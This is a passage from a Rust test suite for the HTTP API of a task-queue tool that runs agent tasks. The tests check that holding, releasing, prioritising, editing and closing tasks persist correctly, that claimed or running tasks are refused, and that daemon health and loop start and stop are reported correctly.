16610 queue.put(&mut task).expect("file the task");
16611
16612 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16613 assert_eq!(held.status, 200);
16614 assert_eq!(held.json()["status_str"], "held");
16615
16616 let released = f
16617 .post(&format!("/api/queue/{}/release", task.id), None)
16618 .await;
16619 assert_eq!(released.status, 200);
16620 assert_eq!(released.json()["status_str"], "queued");
16621 assert_eq!(released.json()["resumption"]["source"], "web");
16622 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16623 let mut cli = task.clone();
16624 cli.release_operator("cli", None);
16625 let web = queue.get(&task.id).unwrap().resumption.unwrap();
16626 let cli = cli.resumption.unwrap();
16627 assert_eq!(web.instruction, cli.instruction);
16628 assert_eq!(web.answers_through, cli.answers_through);
16629 assert_eq!(web.runs_through, cli.runs_through);
16630 assert_eq!(web.cleared_reason, cli.cleared_reason);
16631 assert_eq!(
16632 released.json()["attempts"],
16633 0,
16634 "release is a real second chance, not an instant re-hold"
16635 );
16636 assert_eq!(
16637 queue.get(&task.id).expect("reload").status,
16638 TaskStatus::Queued,
16639 "the change is on disk, not only in the reply"
16640 );
16641 assert!(
16642 !f.home
16643 .path()
16644 .join("queue")
16645 .join(format!("{}.lock", task.id))
16646 .exists(),
16647 "the claim the mutation took is released again"
16648 );
16649 }
16650
16651 #[tokio::test]
16652 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16653 let f = Fixture::start().await;
16654 let queue = f.queue();
16655 let mut task = Task::new(
16656 "busy".to_owned(),
16657 "Running right now".to_owned(),
16658 PathBuf::from("/repo/magi"),
16659 Source::Human,
16660 );
16661 queue.put(&mut task).expect("file the task");
16662 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16663
16664 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16665
16666 assert_eq!(res.status, 409);
16667 assert_eq!(
16668 queue.get(&task.id).expect("reload").status,
16669 TaskStatus::Queued,
16670 "the refused hold changed nothing"
16671 );
16672 }
16673
16674 #[tokio::test]
16675 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16676 let f = Fixture::start().await;
16677 let queue = f.queue();
16678 let mut task = Task::new(
16679 "waiting on the migration".to_owned(),
16680 "Do the thing".to_owned(),
16681 PathBuf::from("/repo/magi"),
16682 Source::Human,
16683 );
16684 queue.put(&mut task).expect("file the task");
16685
16686 let held = f
16687 .post(
16688 &format!("/api/queue/{}/hold", task.id),
16689 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16690 )
16691 .await;
16692 assert_eq!(held.status, 200, "{}", held.body);
16693 assert_eq!(held.json()["status_str"], "held");
16694 assert_eq!(
16695 held.json()["hold_reason"],
16696 "waiting for 20260101-000000-aaaa to land"
16697 );
16698
16699 let listed = f.get("/api/queue").await.json();
16700 assert_eq!(
16701 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16702 "the card reads the reason off the same list route"
16703 );
16704
16705 let mut plain = Task::new(
16708 "no reason given".to_owned(),
16709 "Do another thing".to_owned(),
16710 PathBuf::from("/repo/magi"),
16711 Source::Human,
16712 );
16713 queue.put(&mut plain).expect("file the task");
16714 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16715 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16716 assert!(held_plain.json()["hold_reason"].is_null());
16717
16718 let released = f
16719 .post(&format!("/api/queue/{}/release", task.id), None)
16720 .await;
16721 assert_eq!(released.status, 200);
16722 assert!(
16723 released.json()["hold_reason"].is_null(),
16724 "a release must clear the reason so the next hold does not inherit it"
16725 );
16726 }
16727
16728 #[test]
16729 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16730 for urgent in [true, false] {
16731 let body: UrgentBody =
16732 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16733 assert_eq!(body.urgent, urgent);
16734 }
16735 for input in [
16736 r#"{}"#,
16737 r#"{"urgent":null}"#,
16738 r#"{"urgent":"true"}"#,
16739 r#"{"urgent":1}"#,
16740 r#"{"urgent":true,"extra":false}"#,
16741 ] {
16742 assert!(
16743 serde_json::from_str::<UrgentBody>(input).is_err(),
16744 "{input}"
16745 );
16746 }
16747 }
16748
16749 #[tokio::test]
16750 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16751 let home = TempDir::new().unwrap();
16752 let q = Queue::at(home.path().join("queue"));
16753 let ui = Arc::new(Ui::new(
16754 q.clone(),
16755 Questions::at(home.path().join("questions")),
16756 Talks::at(home.path().join("talks")),
16757 home.path().join("runs"),
16758 home.path().into(),
16759 home.path().into(),
16760 ));
16761 let mut task = Task::new(
16762 "urgent handler".into(),
16763 "keep".into(),
16764 home.path().into(),
16765 Source::Human,
16766 );
16767 for status in [TaskStatus::Queued, TaskStatus::Held] {
16768 task.status = status;
16769 q.put(&mut task).unwrap();
16770 for urgent in [true, true, false, false] {
16771 let saved = queue_urgent(
16772 State(Arc::clone(&ui)),
16773 Path(task.short().into()),
16774 Ok(Json(UrgentBody { urgent })),
16775 )
16776 .await
16777 .unwrap();
16778 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16779 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16780 }
16781 }
16782 task.status = TaskStatus::Queued;
16783 q.put(&mut task).unwrap();
16784 let claim = q.claim(&task.id).unwrap();
16785 let error = queue_urgent(
16786 State(Arc::clone(&ui)),
16787 Path(task.id.clone()),
16788 Ok(Json(UrgentBody { urgent: true })),
16789 )
16790 .await
16791 .unwrap_err();
16792 assert_eq!(error.status, StatusCode::CONFLICT);
16793 assert!(error.message.contains("released"));
16794 drop(claim);
16795 for status in [
16796 TaskStatus::Running,
16797 TaskStatus::Done,
16798 TaskStatus::Failed,
16799 TaskStatus::Blocked,
16800 TaskStatus::Parked,
16801 ] {
16802 task.status = status;
16803 q.put(&mut task).unwrap();
16804 let error = queue_urgent(
16805 State(Arc::clone(&ui)),
16806 Path(task.id.clone()),
16807 Ok(Json(UrgentBody { urgent: false })),
16808 )
16809 .await
16810 .unwrap_err();
16811 assert_eq!(error.status, StatusCode::BAD_REQUEST);
16812 assert!(error.message.contains(status.as_str()));
16813 }
16814 }
16815
16816 #[tokio::test]
16817 async fn urgent_api_updates_preserves_and_validates_tasks() {
16818 let f = Fixture::start().await;
16819 let q = f.queue();
16820 let mut t = Task::new(
16821 "urgent API".into(),
16822 "unchanged".into(),
16823 PathBuf::from("/repo/magi"),
16824 Source::Human,
16825 );
16826 t.attempts = 2;
16827 t.priority = 9;
16828 t.interrupt = true;
16829 t.hold_reason = Some("waiting for approval".into());
16830 for status in [TaskStatus::Queued, TaskStatus::Held] {
16831 t.status = status;
16832 q.put(&mut t).unwrap();
16833 for urgent in [true, true, false, false] {
16834 let response = f
16835 .post(
16836 &format!("/api/queue/{}/urgent", t.short()),
16837 Some(&format!("{{\"urgent\":{urgent}}}")),
16838 )
16839 .await;
16840 assert_eq!(response.status, 200, "{}", response.body);
16841 assert_eq!(response.json()["urgent"], urgent);
16842 let saved = q.get(&t.id).unwrap();
16843 let mut before = serde_json::to_value(&t).unwrap();
16844 let mut after = serde_json::to_value(saved).unwrap();
16845 before["urgent"] = urgent.into();
16846 before.as_object_mut().unwrap().remove("updated_at");
16847 after.as_object_mut().unwrap().remove("updated_at");
16848 assert_eq!(after, before);
16849 }
16850 }
16851 let route = format!("/api/queue/{}/urgent", t.id);
16852 for body in [
16853 r#"{}"#,
16854 r#"{"urgent":null}"#,
16855 r#"{"urgent":"true"}"#,
16856 r#"{"urgent":1}"#,
16857 r#"{"urgent":true,"extra":false}"#,
16858 "{",
16859 ] {
16860 assert_eq!(f.post(&route, Some(body)).await.status, 400);
16861 }
16862 t.status = TaskStatus::Queued;
16863 q.put(&mut t).unwrap();
16864 let claim = q.claim(&t.id).unwrap();
16865 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16866 assert_eq!(response.status, 409, "{}", response.body);
16867 assert!(!q.get(&t.id).unwrap().urgent);
16868 drop(claim);
16869 for status in [
16870 TaskStatus::Running,
16871 TaskStatus::Done,
16872 TaskStatus::Failed,
16873 TaskStatus::Blocked,
16874 TaskStatus::Parked,
16875 ] {
16876 t.status = status;
16877 q.put(&mut t).unwrap();
16878 for urgent in [true, false] {
16879 let response = f
16880 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16881 .await;
16882 assert_eq!(response.status, 400, "{}", response.body);
16883 assert!(response.body.contains(status.as_str()));
16884 assert!(response.body.contains("queued or held"));
16885 assert!(!q.get(&t.id).unwrap().urgent);
16886 }
16887 }
16888 assert_eq!(
16889 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16890 .await
16891 .status,
16892 404
16893 );
16894 }
16895
16896 #[tokio::test]
16897 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16898 let f = Fixture::start().await;
16899 let queue = f.queue();
16900 let mut older = Task::new(
16901 "filed first".to_owned(),
16902 "x".to_owned(),
16903 PathBuf::from("/repo/magi"),
16904 Source::Human,
16905 );
16906 older.id = "20260101-000001-aaaa".to_owned();
16907 let mut newer = Task::new(
16908 "filed second".to_owned(),
16909 "x".to_owned(),
16910 PathBuf::from("/repo/magi"),
16911 Source::Human,
16912 );
16913 newer.id = "20260101-000002-bbbb".to_owned();
16914 queue.put(&mut older).expect("file older");
16915 queue.put(&mut newer).expect("file newer");
16916
16917 let before = f.get("/api/queue").await.json();
16920 assert_eq!(before[0]["id"], newer.id);
16921 assert_eq!(before[1]["id"], older.id);
16922
16923 let raised = f
16927 .post(
16928 &format!("/api/queue/{}/priority", older.id),
16929 Some(r#"{"priority":10}"#),
16930 )
16931 .await;
16932 assert_eq!(raised.status, 200, "{}", raised.body);
16933 assert_eq!(raised.json()["priority"], 10);
16934
16935 let after = f.get("/api/queue").await.json();
16936 let names: Vec<&str> = after
16937 .as_array()
16938 .unwrap()
16939 .iter()
16940 .map(|t| t["id"].as_str().unwrap())
16941 .collect();
16942 assert_eq!(names[0], older.id, "the raised task now sorts first");
16946 }
16947
16948 #[tokio::test]
16949 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16950 let dir = TempDir::new().unwrap();
16951 let q = Queue::at(dir.path().join("queue"));
16952 let ui = Arc::new(Ui::new(
16953 q.clone(),
16954 Questions::at(dir.path().join("questions")),
16955 Talks::at(dir.path().join("talks")),
16956 dir.path().join("runs"),
16957 dir.path().to_path_buf(),
16958 dir.path().to_path_buf(),
16959 ));
16960 let mut t = Task::new(
16961 "budget".into(),
16962 "keep".into(),
16963 dir.path().into(),
16964 Source::Human,
16965 );
16966 t.attempts = 2;
16967 t.runs.push("prior-run".into());
16968 t.hold_manual(Some("waiting".into()));
16969 q.put(&mut t).unwrap();
16970 let change = |value| {
16971 queue_attempt_limit(
16972 State(ui.clone()),
16973 Path(t.id.clone()),
16974 Ok(Json(AttemptLimitBody {
16975 attempt_limit: value,
16976 })),
16977 )
16978 };
16979 for value in [
16980 serde_json::json!(3),
16981 serde_json::Value::Null,
16982 serde_json::json!(1),
16983 ] {
16984 let response = change(value.clone()).await.unwrap();
16985 assert_eq!(
16986 serde_json::to_value(response.0).unwrap()["attempt_limit"],
16987 value
16988 );
16989 let saved = q.get(&t.id).unwrap();
16990 assert_eq!(
16991 serde_json::to_value(&saved).unwrap()["attempt_limit"],
16992 value
16993 );
16994 assert_eq!(saved.status, TaskStatus::Held);
16995 assert_eq!(saved.attempts, t.attempts);
16996 assert_eq!(saved.runs, t.runs);
16997 assert_eq!(saved.hold_reason, t.hold_reason);
16998 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16999 .await
17000 .unwrap()
17001 .0;
17002 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17003 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17004 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17005 assert_eq!(outcome.max_attempts, detail.max_attempts);
17006 }
17007 for value in [
17008 serde_json::json!(0),
17009 serde_json::json!(-1),
17010 serde_json::json!(1.5),
17011 serde_json::json!("3"),
17012 serde_json::json!(true),
17013 ] {
17014 assert_eq!(
17015 change(value).await.err().unwrap().status,
17016 StatusCode::BAD_REQUEST
17017 );
17018 }
17019 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17020 let claim = q.claim(&t.id).unwrap();
17021 assert_eq!(
17022 change(serde_json::json!(4)).await.err().unwrap().status,
17023 StatusCode::CONFLICT
17024 );
17025 drop(claim);
17026 for status in [
17027 TaskStatus::Running,
17028 TaskStatus::Done,
17029 TaskStatus::Failed,
17030 TaskStatus::Blocked,
17031 TaskStatus::Parked,
17032 ] {
17033 let mut stored = q.get(&t.id).unwrap();
17034 stored.status = status;
17035 q.put(&mut stored).unwrap();
17036 assert_eq!(
17037 change(serde_json::json!(4)).await.err().unwrap().status,
17038 StatusCode::BAD_REQUEST
17039 );
17040 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17041 }
17042 let mut stored = q.get(&t.id).unwrap();
17043 stored.status = TaskStatus::Queued;
17044 q.put(&mut stored).unwrap();
17045 let _ = change(serde_json::Value::Null).await.unwrap();
17046 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17047 }
17048
17049 #[tokio::test]
17050 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17051 let dir = TempDir::new().unwrap();
17052 let repo = dir.path().join("repo");
17053 std::fs::create_dir(&repo).unwrap();
17054 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17055 let q = Queue::at(dir.path().join("queue"));
17056 let ui = Arc::new(Ui::new(
17057 q.clone(),
17058 Questions::at(dir.path().join("questions")),
17059 Talks::at(dir.path().join("talks")),
17060 dir.path().join("runs"),
17061 dir.path().to_path_buf(),
17062 repo.clone(),
17063 ));
17064 let mut t = Task::new(
17065 "seats".into(),
17066 "keep instruction".into(),
17067 repo,
17068 Source::Human,
17069 );
17070 t.runs.push("prior-run".into());
17071 t.hold_manual(Some("waiting".into()));
17072 q.put(&mut t).unwrap();
17073 let change = |count| {
17074 queue_implementers(
17075 State(ui.clone()),
17076 Path(t.id.clone()),
17077 Ok(Json(ImplementersBody {
17078 implementers: count,
17079 })),
17080 )
17081 };
17082 for count in [2, 1, 2] {
17083 let response = change(count).await.unwrap();
17084 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17085 let saved = q.get(&t.id).unwrap();
17086 assert_eq!(saved.implementers(), Some(usize::from(count)));
17087 assert_eq!(saved.runs, t.runs);
17088 assert_eq!(saved.instruction, t.instruction);
17089 }
17090 for count in [0, 4] {
17091 assert_eq!(
17092 change(count).await.err().unwrap().status,
17093 StatusCode::BAD_REQUEST
17094 );
17095 }
17096 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17097 let claim = q.claim(&t.id).unwrap();
17098 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17099 drop(claim);
17100 for status in [
17101 TaskStatus::Running,
17102 TaskStatus::Done,
17103 TaskStatus::Failed,
17104 TaskStatus::Blocked,
17105 TaskStatus::Parked,
17106 ] {
17107 let mut stored = q.get(&t.id).unwrap();
17108 stored.status = status;
17109 q.put(&mut stored).unwrap();
17110 assert_eq!(
17111 change(1).await.err().unwrap().status,
17112 StatusCode::BAD_REQUEST
17113 );
17114 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17115 }
17116 }
17117
17118 #[tokio::test]
17119 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17120 let f = Fixture::start().await;
17121 let queue = f.queue();
17122 let mut task = Task::new(
17123 "in flight".to_owned(),
17124 "x".to_owned(),
17125 PathBuf::from("/repo/magi"),
17126 Source::Human,
17127 );
17128 task.start("20260902-140502-bbbb".to_owned());
17129 queue.put(&mut task).expect("file the task");
17130
17131 let res = f
17132 .post(
17133 &format!("/api/queue/{}/priority", task.id),
17134 Some(r#"{"priority":9}"#),
17135 )
17136 .await;
17137 assert_eq!(res.status, 400, "{}", res.body);
17138 assert!(
17139 res.json()["error"]
17140 .as_str()
17141 .is_some_and(|e| e.contains("running")),
17142 "{}",
17143 res.body
17144 );
17145 assert_eq!(
17146 queue.get(&task.id).expect("reload").priority,
17147 0,
17148 "the refused write must not partially apply"
17149 );
17150 }
17151
17152 #[tokio::test]
17153 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17154 let f = Fixture::start().await;
17155 let queue = f.queue();
17156 let mut task = Task::new(
17157 "old title".to_owned(),
17158 "old instruction".to_owned(),
17159 PathBuf::from("/repo/magi"),
17160 Source::Agent {
17161 run: "20260101-000000-beef".to_owned(),
17162 node: "implement".to_owned(),
17163 },
17164 );
17165 task.runs.push("20260101-000000-beef".to_owned());
17166 queue.put(&mut task).expect("file the task");
17167 let created_at = task.created_at;
17168
17169 let edited = f
17170 .post(
17171 &format!("/api/queue/{}/edit", task.id),
17172 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17173 )
17174 .await;
17175 assert_eq!(edited.status, 200, "{}", edited.body);
17176 let body = edited.json();
17177 assert_eq!(body["title"], "new title");
17178 assert_eq!(body["instruction"], "new instruction");
17179 assert_eq!(body["id"], task.id, "editing must not mint a new id");
17180 assert_eq!(body["created_at"], created_at.to_string());
17181 assert_eq!(
17182 body["source"]["kind"], "agent",
17183 "editing a task an agent filed must not turn it human: {body}"
17184 );
17185 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17186
17187 let reloaded = queue.get(&task.id).expect("reload");
17188 assert_eq!(reloaded.title, "new title");
17189 assert_eq!(reloaded.instruction, "new instruction");
17190 }
17191
17192 #[tokio::test]
17193 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17194 let tmp = TempDir::new().expect("tempdir");
17197 let repo = tmp.path().join("repo");
17198 std::fs::create_dir_all(&repo).expect("repo dir");
17199 let judge = MOCK_AGENT_TOML.replace(
17200 "printf ok",
17201 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17202 );
17203 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17204 let f = Fixture::with_repo(repo.clone()).await;
17205 let queue = f.queue();
17206 let mut owner = Task::new(
17207 "owner".to_owned(),
17208 "review it".to_owned(),
17209 repo.clone(),
17210 Source::Human,
17211 );
17212 owner.review_branch = Some("magi/ab12/A".to_owned());
17213 queue.put(&mut owner).expect("file the owner");
17214 let mut task = Task::new(
17215 "draft".to_owned(),
17216 "old".to_owned(),
17217 repo.clone(),
17218 Source::Human,
17219 );
17220 queue.put(&mut task).expect("file the draft");
17221 let url = format!("/api/queue/{}/edit", task.id);
17222
17223 let refused = f
17224 .post(
17225 &url,
17226 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17227 )
17228 .await;
17229 assert_eq!(refused.status, 409, "{}", refused.body);
17230 let msg = refused.json()["error"]
17231 .as_str()
17232 .unwrap_or_default()
17233 .to_owned();
17234 assert!(
17235 msg.contains("magi/ab12/A") && msg.contains("force"),
17236 "{msg}"
17237 );
17238 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17239
17240 let forced = f
17241 .post(
17242 &url,
17243 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17244 )
17245 .await;
17246 assert_eq!(forced.status, 200, "{}", forced.body);
17247 }
17248
17249 #[tokio::test]
17250 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17251 let f = Fixture::start().await;
17252 let queue = f.queue();
17253 let mut task = Task::new(
17254 "in flight".to_owned(),
17255 "do not touch".to_owned(),
17256 PathBuf::from("/repo/magi"),
17257 Source::Human,
17258 );
17259 task.start("20260902-140502-bbbb".to_owned());
17260 queue.put(&mut task).expect("file the task");
17261
17262 let res = f
17263 .post(
17264 &format!("/api/queue/{}/edit", task.id),
17265 Some(r#"{"title":"x","instruction":"y"}"#),
17266 )
17267 .await;
17268 assert_eq!(res.status, 400, "{}", res.body);
17269 assert!(
17270 res.json()["error"]
17271 .as_str()
17272 .is_some_and(|e| e.contains("running")),
17273 "{}",
17274 res.body
17275 );
17276 assert_eq!(
17277 queue.get(&task.id).expect("reload").instruction,
17278 "do not touch",
17279 "the refused edit must not change the file"
17280 );
17281 }
17282
17283 #[tokio::test]
17284 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17285 let f = Fixture::start().await;
17286 let queue = f.queue();
17287 let mut task = Task::new(
17288 "busy".to_owned(),
17289 "Running right now".to_owned(),
17290 PathBuf::from("/repo/magi"),
17291 Source::Human,
17292 );
17293 queue.put(&mut task).expect("file the task");
17294 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17295
17296 let priority = f
17297 .post(
17298 &format!("/api/queue/{}/priority", task.id),
17299 Some(r#"{"priority":9}"#),
17300 )
17301 .await;
17302 assert_eq!(priority.status, 409, "{}", priority.body);
17303
17304 let edit = f
17305 .post(
17306 &format!("/api/queue/{}/edit", task.id),
17307 Some(r#"{"title":"x","instruction":"y"}"#),
17308 )
17309 .await;
17310 assert_eq!(edit.status, 409, "{}", edit.body);
17311 }
17312
17313 #[tokio::test]
17314 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17315 let f = Fixture::start().await;
17316 let queue = f.queue();
17317 let mut task = Task::new(
17318 "shipped by hand".to_owned(),
17319 "merged outside the loop".to_owned(),
17320 PathBuf::from("/repo/magi"),
17321 Source::Agent {
17322 run: "20260101-000000-b455".to_owned(),
17323 node: "implement".to_owned(),
17324 },
17325 );
17326 task.runs.push("20260101-000000-b455".to_owned());
17327 task.runs.push("20260101-000000-9af4".to_owned());
17328 queue.put(&mut task).expect("file the task");
17329 let created_at = task.created_at;
17330
17331 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17332 assert_eq!(done.status, 200, "{}", done.body);
17333 assert_eq!(done.json()["status_str"], "done");
17334
17335 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17336 assert_eq!(
17337 reloaded.runs,
17338 ["20260101-000000-b455", "20260101-000000-9af4"]
17339 );
17340 assert_eq!(
17341 reloaded.source,
17342 Source::Agent {
17343 run: "20260101-000000-b455".to_owned(),
17344 node: "implement".to_owned(),
17345 }
17346 );
17347 assert_eq!(reloaded.created_at, created_at);
17348 }
17349
17350 #[tokio::test]
17351 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17352 let f = Fixture::start().await;
17357 let queue = f.queue();
17358 let mut task = Task::new(
17359 "landed while held".to_owned(),
17360 "x".to_owned(),
17361 PathBuf::from("/repo/magi"),
17362 Source::Human,
17363 );
17364 task.hold_manual(Some("waiting on 3ed9".to_owned()));
17365 queue.put(&mut task).expect("file the held task");
17366
17367 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17368 assert_eq!(done.status, 200, "{}", done.body);
17369 assert_eq!(done.json()["status_str"], "done");
17370 assert!(
17371 done.json()["hold_reason"].is_null(),
17372 "a done task cannot still be waiting on something: {}",
17373 done.body
17374 );
17375 }
17376
17377 #[tokio::test]
17378 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17379 let f = Fixture::start().await;
17384 let queue = f.queue();
17385 let runs = f.runs();
17386 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17387 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17391
17392 let mut task = Task::new(
17393 "landed by hand".to_owned(),
17394 "x".to_owned(),
17395 PathBuf::from("/repo/magi"),
17396 Source::Human,
17397 );
17398 task.runs.push("20260101-000000-doa1".to_owned());
17399 task.runs.push("20260101-000000-doa2".to_owned());
17400 queue.put(&mut task).expect("file the task");
17401
17402 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17403 assert_eq!(done.status, 200, "{}", done.body);
17404
17405 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17406 .expect("run still on disk under this fixture's own home");
17407 assert_eq!(
17408 reloaded_run.status,
17409 RunStatus::Superseded,
17410 "closing the task by hand must relabel the earlier blocked attempt exactly \
17411 like the loop's own settle path does"
17412 );
17413 }
17414
17415 #[tokio::test]
17416 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17417 let f = Fixture::start().await;
17422 let queue = f.queue();
17423 let runs = f.runs();
17424 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17425 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17426
17427 let mut task = Task::new(
17428 "closed with nothing actually landed".to_owned(),
17429 "x".to_owned(),
17430 PathBuf::from("/repo/magi"),
17431 Source::Human,
17432 );
17433 task.runs.push("20260101-000000-dob1".to_owned());
17434 task.runs.push("20260101-000000-dob2".to_owned());
17435 queue.put(&mut task).expect("file the task");
17436
17437 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17438 assert_eq!(done.status, 200, "{}", done.body);
17439
17440 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17441 .expect("run still on disk under this fixture's own home");
17442 assert_eq!(
17443 reloaded_run.status,
17444 RunStatus::Blocked,
17445 "the last recorded attempt never landed, so the earlier one must not be \
17446 relabelled as superseded by it"
17447 );
17448 }
17449
17450 #[tokio::test]
17451 async fn unknown_ids_are_json_not_found_on_both_stores() {
17452 let f = Fixture::start().await;
17453
17454 let run = f.get("/api/runs/nosuchrun").await;
17455 let task = f.post("/api/queue/nosuchtask/hold", None).await;
17456
17457 assert_eq!(run.status, 404);
17458 assert_eq!(task.status, 404);
17459 assert!(
17460 run.json()["error"]
17461 .as_str()
17462 .is_some_and(|e| e.contains("run")),
17463 "the error names what was not found: {}",
17464 run.body
17465 );
17466 assert!(
17467 task.json()["error"]
17468 .as_str()
17469 .is_some_and(|e| e.contains("task")),
17470 "the error names what was not found: {}",
17471 task.body
17472 );
17473 }
17474
17475 #[tokio::test]
17476 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17477 let f = Fixture::start().await;
17478
17479 let missing = f.get("/api/health").await.json();
17480 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17481
17482 write_daemon(
17483 f.home.path(),
17484 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17485 );
17486 let stale = f.get("/api/health").await.json();
17487 assert_eq!(
17488 stale["daemon"]["running"], false,
17489 "a minute without a heartbeat is a dead daemon, not a busy one"
17490 );
17491 assert!(
17492 stale["daemon"]["stale_for_secs"]
17493 .as_i64()
17494 .is_some_and(|s| s >= 55),
17495 "staleness is reported so the UI can say how long: {stale}"
17496 );
17497
17498 write_daemon(f.home.path(), Timestamp::now());
17499 let fresh = f.get("/api/health").await.json();
17500 assert_eq!(fresh["daemon"]["running"], true);
17501 assert_eq!(fresh["daemon"]["idle"], false);
17502 assert_eq!(fresh["daemon"]["pid"], 4242);
17503 assert_eq!(fresh["daemon"]["completed"], 7);
17504 assert_eq!(
17505 fresh["daemon"]["current"][0]["task"],
17506 "20260902-140501-aaaa"
17507 );
17508 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17509 }
17510
17511 #[tokio::test]
17512 async fn the_loop_is_not_running_until_something_starts_it() {
17513 let f = Fixture::start().await;
17514
17515 let view = f.get("/api/loop").await.json();
17516 assert_eq!(view["running"], false);
17517 assert_eq!(
17518 view["owned"], false,
17519 "nobody owns a loop that does not exist: {view}"
17520 );
17521 assert_eq!(view["stopping"], false);
17522 assert_eq!(view["last_error"], Value::Null);
17523 assert_eq!(view["daemon"]["running"], false);
17524 assert_eq!(
17525 view["repo"], "/repo/magi",
17526 "the repository a start would use, named before it is started"
17527 );
17528 }
17529
17530 #[tokio::test]
17531 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17532 let f = Fixture::start().await;
17533
17534 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17535 assert_eq!(res.status, 200, "{}", res.body);
17536 let view = res.json();
17537 assert_eq!(view["running"], true);
17538 assert_eq!(
17539 view["owned"], true,
17540 "the loop the UI started is the UI's own to stop: {view}"
17541 );
17542 assert_eq!(
17543 view["merge"],
17544 Value::Null,
17545 "no override was given, so each repository's own config decides"
17546 );
17547
17548 let health = f.get("/api/health").await.json();
17552 assert_eq!(health["loop"]["running"], true, "{health}");
17553 assert_eq!(health["loop"]["owned"], true, "{health}");
17554
17555 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17556 }
17557
17558 #[tokio::test]
17559 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17560 let f = Fixture::start().await;
17561 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17562 assert_eq!(first.status, 200, "{}", first.body);
17563
17564 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17565 assert_eq!(
17566 again.status, 409,
17567 "two loops on one queue race for the same claims: {}",
17568 again.body
17569 );
17570 assert!(
17571 again.json()["error"]
17572 .as_str()
17573 .is_some_and(|e| e.contains("already running the loop")),
17574 "the refusal has to say why: {}",
17575 again.body
17576 );
17577 assert_eq!(
17578 f.get("/api/loop").await.json()["running"],
17579 true,
17580 "and the loop that was already running is untouched by it"
17581 );
17582
17583 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17584 }
17585
17586 #[tokio::test]
17587 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17588 let f = Fixture::start().await;
17589 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17590
17591 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17592 assert_eq!(
17593 res.status, 200,
17594 "the answer must not wait for the loop: a run in flight is tens of \
17595 minutes and the operator is holding a phone: {}",
17596 res.body
17597 );
17598
17599 let view = settled(&f, |v| v["running"] == false).await;
